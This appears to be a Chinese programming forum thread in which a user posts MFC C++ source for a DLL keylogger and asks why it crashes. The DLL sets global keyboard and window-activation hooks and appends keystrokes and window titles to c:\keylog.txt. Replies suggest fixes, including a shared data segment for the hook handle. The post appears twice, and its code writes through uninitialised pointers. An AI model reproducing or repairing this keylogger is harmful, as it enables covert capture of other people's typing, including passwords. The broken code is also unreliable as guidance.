// Keydll.h : main header file for the KEYDLL DLL
//
..........
...........#define DllExport _declspec(dllexport) //这句是我加的
DllExport void WINAPI Installhook(); //这句是我加的
#include "resource.h" // main symbols/////////////////////////////////////////////////////////////////////////////
// CKeydllApp
// See Keydll.cpp for the implementation of this class
//class CKeydllApp : public CWinApp
{
public:
CKeydllApp(); .............
............. //其余都是自动生成的代码
}
//Keydll.cpp
// Keydll.cpp : Defines the initialization routines for the DLL.
//#include "stdafx.h"
#include "Keydll.h"#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endifHHOOK Hook1; //定义两个全局钩子
HHOOK Hook2;
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char * buffer);// CKeydllAppBEGIN_MESSAGE_MAP(CKeydllApp, CWinApp)
//{{AFX_MSG_MAP(CKeydllApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
// CKeydllApp constructionCKeydllApp::CKeydllApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}/////////////////////////////////////////////////////////////////////////////
// The one and only CKeydllApp objectCKeydllApp theApp;DllExport void WINAPI Installhook() //安装钩子,准备在EXE程序中调用
{
Hook1 = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyHook, theApp.m_hInstance, 0); Hook2 = SetWindowsHookEx(WH_CBT,
(HOOKPROC)WinHook, theApp.m_hInstance, 0);
}//回调函数KeyHook
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook1,nCode,wParam,lParam); if(nCode == HC_ACTION)
{
if(lParam & 0x80000000)
{
char * buffer;
buffer[0] = wParam;
buffer[1] = '\x0';
SaveLog(buffer);
}
}
return Result;
}//回调函数Winhook
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook2,nCode,wParam,lParam); if(nCode == HCBT_ACTIVATE)
{
char * buffer;
::GetWindowText((HWND)wParam,buffer,64);
SaveLog(buffer);
}
return Result;
}//保存记录的函数
void SaveLog(char * buffer)
{
CString name("c:\\keylog.txt");
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
} file.SeekToEnd();
file.Write(buffer,strlen(buffer));
file.Write("\x0d\x0a",2);
file.Close();
}
编译后成功,得到Keydll.dll和Keydll.lib然后
1。又新建一个基于对话框的MFC(exe)程序,我把Keydll.h,Keydll.lib拷入到对话框
程序的目录中,把Keydll.dll拷入到对话框程序的Debug目录中
2。然后链接dll库,即在"project","settings…"的"link"属性页内,
在"object/librarymodules:"中填入"Keydll.lib"。再通过"project","add to
project","files…"将Keydll.h添加到工程中来,
3。然后在对话框程序的源文件keyhook.cpp中加入对其的引用:#include "Keydll.h",
4。然后调用dll中的导出函数Installhook(),准备实行监控,可是运行对话框程序就会死机,急死了,请帮帮我吧!!!!!!!!!!!!!!!11
//
..........
...........#define DllExport _declspec(dllexport) //这句是我加的
DllExport void WINAPI Installhook(); //这句是我加的
#include "resource.h" // main symbols/////////////////////////////////////////////////////////////////////////////
// CKeydllApp
// See Keydll.cpp for the implementation of this class
//class CKeydllApp : public CWinApp
{
public:
CKeydllApp(); .............
............. //其余都是自动生成的代码
}
//Keydll.cpp
// Keydll.cpp : Defines the initialization routines for the DLL.
//#include "stdafx.h"
#include "Keydll.h"#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endifHHOOK Hook1; //定义两个全局钩子
HHOOK Hook2;
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam);
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char * buffer);// CKeydllAppBEGIN_MESSAGE_MAP(CKeydllApp, CWinApp)
//{{AFX_MSG_MAP(CKeydllApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()/////////////////////////////////////////////////////////////////////////////
// CKeydllApp constructionCKeydllApp::CKeydllApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance
}/////////////////////////////////////////////////////////////////////////////
// The one and only CKeydllApp objectCKeydllApp theApp;DllExport void WINAPI Installhook() //安装钩子,准备在EXE程序中调用
{
Hook1 = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyHook, theApp.m_hInstance, 0); Hook2 = SetWindowsHookEx(WH_CBT,
(HOOKPROC)WinHook, theApp.m_hInstance, 0);
}//回调函数KeyHook
LRESULT CALLBACK KeyHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook1,nCode,wParam,lParam); if(nCode == HC_ACTION)
{
if(lParam & 0x80000000)
{
char * buffer;
buffer[0] = wParam;
buffer[1] = '\x0';
SaveLog(buffer);
}
}
return Result;
}//回调函数Winhook
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook2,nCode,wParam,lParam); if(nCode == HCBT_ACTIVATE)
{
char * buffer;
::GetWindowText((HWND)wParam,buffer,64);
SaveLog(buffer);
}
return Result;
}//保存记录的函数
void SaveLog(char * buffer)
{
CString name("c:\\keylog.txt");
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
} file.SeekToEnd();
file.Write(buffer,strlen(buffer));
file.Write("\x0d\x0a",2);
file.Close();
}
编译后成功,得到Keydll.dll和Keydll.lib然后
1。又新建一个基于对话框的MFC(exe)程序,我把Keydll.h,Keydll.lib拷入到对话框
程序的目录中,把Keydll.dll拷入到对话框程序的Debug目录中
2。然后链接dll库,即在"project","settings…"的"link"属性页内,
在"object/librarymodules:"中填入"Keydll.lib"。再通过"project","add to
project","files…"将Keydll.h添加到工程中来,
3。然后在对话框程序的源文件keyhook.cpp中加入对其的引用:#include "Keydll.h",
4。然后调用dll中的导出函数Installhook(),准备实行监控,可是运行对话框程序就会死机,急死了,请帮帮我吧!!!!!!!!!!!!!!!11
不过我觉得在你的回调涵数中顺序有点问题
//回调函数Winhook
LRESULT CALLBACK WinHook(int nCode,WPARAM wParam,LPARAM lParam)
{ if(nCode == HCBT_ACTIVATE)
{
char * buffer;
::GetWindowText((HWND)wParam,buffer,64);
SaveLog(buffer);
}
//自己处理完成后再调默认的处理过程吧
LRESULT Result = CallNextHookEx(Hook2,nCode,wParam,lParam);
return Result;
}
将变量HOOK1放到共享内存段里,方法是在DEF文件里面声名:
SECTIONS
.sdata READ WRITE SHARED然后声明变量HOOK1
#pragma data_seg(".sdata")
HHOOK Hook1=NULL; //!需要初始化
#pragma data_seg()